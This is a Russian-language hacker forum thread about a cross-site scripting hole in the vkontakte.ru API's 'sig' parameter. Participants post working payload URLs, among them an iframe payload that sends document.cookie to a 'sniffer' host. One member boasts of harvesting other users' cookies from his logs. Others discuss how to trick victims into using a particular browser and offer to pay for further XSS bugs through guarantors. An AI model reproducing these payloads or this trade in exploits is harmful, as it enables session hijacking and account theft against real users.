Active xss vkontakte.ru

[Isis]

http://api.vkontakte.ru/api.php?v=2.0&sig=%3Cscript%3Ealert(document.cookie)%3C/script%3E&format=JSON&api_id=517649&method=getAppFriends

Добейте
http://forums.goha.ru/images/smilies/pandaredlol.gif

[Ponchik]

Ты уверен, что это активка? =\
И в опере не катит =\

[Rebit]

Да в Опере не пашет и в Internet Explorer тоже

[vp$]

слэш в закрывающем тэге экранируется, а так бы сработало

[BlackSun]

Изя лох :( это пассивка,

http://api.vkontakte.ru/api.php?v=2.0&sig=<img+src=.+onerror=alert()>&format=JSON&api_id=517649&method=getAppFriends

[wildshaman]

А изя промазнулся, а изя проманхнулся :D

[wildshaman]

мб перенесете в приват? А то щас же школья набежит тут, а чо, а кто, а зачем это и т д...

[Sin3v]

Ха токо в IE пашет и это пассивка, нафиг она, все щас сидят на мозиле и опере. Так уж при впаривании надо говорить зайди через такой браузер иначе страница не загрузится.

Я две нашел в более легких условиях и где досих пор пашет))

[brain[pillow]]

Это пассивка и пашет она под все браузеры

[wildshaman]

Ха токо в IE пашет и это пассивка, нафиг она, все щас сидят на мозиле и опере. Так уж при впаривании надо говорить зайди через такой браузер иначе страница не загрузится.

Я две нашел в более легких условиях и где досих пор пашет))

dj всех браузерах работает :)

[FatalLerr0r]

перенесите в приват!!!!!

[LiteMentaL]

поздно переносить, уже прикрыли

[wildshaman]

поздно переносить, уже прикрыли

не-а ;)

[cylaaaan]

а толку, слеши фильтруют, никак ссылку ввести не получается)

[Nightmarе]

Спасибо ребят, сейчас будем проводить апирацию "ПАПЬЯНЕ111"

[Dj-Matrix]

Работает в Firefox:
http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON

[cylaaaan]

в опере тож

[Isis]

я просто забыл что такое хекер и чем отличаются пассивные поцаны и активные

[vitalikis]

лучше б тему потерли

[s_p_a_m]

Удалите нах тему, или редактируйте свои посты, прикроют же...

[Sn@k3]

Изя лох :( это пассивка,

http://api.vkontakte.ru/api.php?v=2.0&sig=<img+src=.+onerror=alert()>&format=JSON&api_id=517649&method=getAppFriends


:-D
:-D :-D
:-D :-D :-D :-D :-D :-D :-D
:-D :-D :-D :-D :-D :-D :-D :-D :-D
:-D :-D
:-D :-D :-D :-D

[ekstab]

потрите посты) хотя уже поздно =//
______
upd: спасибо за XSS'ку)))) за сегодня уже 4к рейта набрал))))
______
upd2: смотрю логи, а там даже куки чака))) :rolleyes:
еще попался чел из АК47 белобрысый))) :D :rolleyes:

[Ustas.PC]

прикрыли походу, у меня не работает уже =\

[brain[pillow]]

Угу, пофиксили

[gosuindahouse]

днем еще работало, бля...

[Damned_one]

кхм.. ну тёрли бы тогда чтоли отсюдова.. сами виноваты

[[ Dumi ]]

не*** апать тему было

[Damned_one]

народ, а есть шанс немного переписать ее? всмысле можно повертеть с фильтрами или они образноговоря одним щелчком мыши применили свои мегакрутые фильтры для этого поля?

Короче говоря стоит ли овечка выделки?

[wildshaman]

народ, а есть шанс немного переписать ее? всмысле можно повертеть с фильтрами или они образноговоря одним щелчком мыши применили свои мегакрутые фильтры для этого поля?

Короче говоря стоит ли овечка выделки?

ничего не выйдет, там хтмлспецчарс

[[ Dumi ]]

как бэ там тоже не дураки но всеравно спасябо изосу я дурова опхекал

[Damned_one]

какбы у меня появилось предложение жаль невовремя - надо было раз уже не захотели сразу тем утереть рассылать всем сообщения чтоб трындели "уже прикрыли" zzzz

Еще вопросик, а как с API вконтакте работать? Всмысле ручками потрогать все эти поля

[Damned_one]

а у когонить такое вылетало?

<?xml version="1.0" encoding="utf-8" ?>
- <error>
<error_code>101</error_code>
<error_msg>Invalid application API ID</error_msg>
- <request_params list="true">
- <param>
<key>v</key>
<value>2.0</value>
</param>
- <param>
<key>sig</key>
<value>'; бывшее поле ввода хсс</value>
</param>
- <param>
<key>format</key>
<value>JSON&quot;;</value>
</param>
</request_params>
</error>

[Ustas.PC]

нет.

[Ustas.PC]

короче я сдесь чето помудился, зашол на api.vkontakte.ru/api.php
открыл исходник и что же там написано ? а написано там

<?xml version="1.0" encoding="utf-8"?>
<error>Invalid application API ID</error>

к нашему скрипту

http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON

там где v=2.0 я поменял на v=1.0

тоесть получился

http://api.vkontakte.ru/api.php?v=1.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON

теперь пишит

{"error":"Invalid application API ID"}

теперь потрепаюсь над этим может что нибудт и получиться......

[F1shka]

А изя промазнулся, а изя проманхнулся :D
АВРАМ ПЕРЕСТАНЬ ИЗДЕВАТЬСЯ НАД МАЛЕНЬКИМ! :D :D :D :D :D :D

[ZayabisSurfer]

XSS то работала! Не пойму нах в паблик было кидать ?)) Можно было в приват скинуть и реально подняться. Если ещё кто баги найдёт,пишите в личку,хорошо заплачу за подобные XSSы
---------
Изя , ты коммерчески не подкован ))

[Sin3v]

Если бы ее в приват кидали, ты бы ее и не поюзал как и сейчас, а че вы все ноите, там их щас ппц много стало. У меня уже активка и две пассивки!!!

[Timofa]

Если бы ее в приват кидали, ты бы ее и не поюзал как и сейчас, а че вы все ноите, там их щас ппц много стало. У меня уже активка и две пассивки!!!
Ну дык делись! )

[s_p_a_m]

Если бы ее в приват кидали, ты бы ее и не поюзал как и сейчас, а че вы все ноите, там их щас ппц много стало. У меня уже активка и две пассивки!!!
подскажи хоть приблизительно где искать :) в ПМ, с меня +++ )

[MasterProg]

И мне! xD

[GodSenD]

в каком направлении рыть?

[jkSeyv]

поднимаю тему и подключаюсь)

[ZayabisSurfer]

Заплачу дорого за XSS
Нашедшие пишите в PM ,только известные гаранты!!!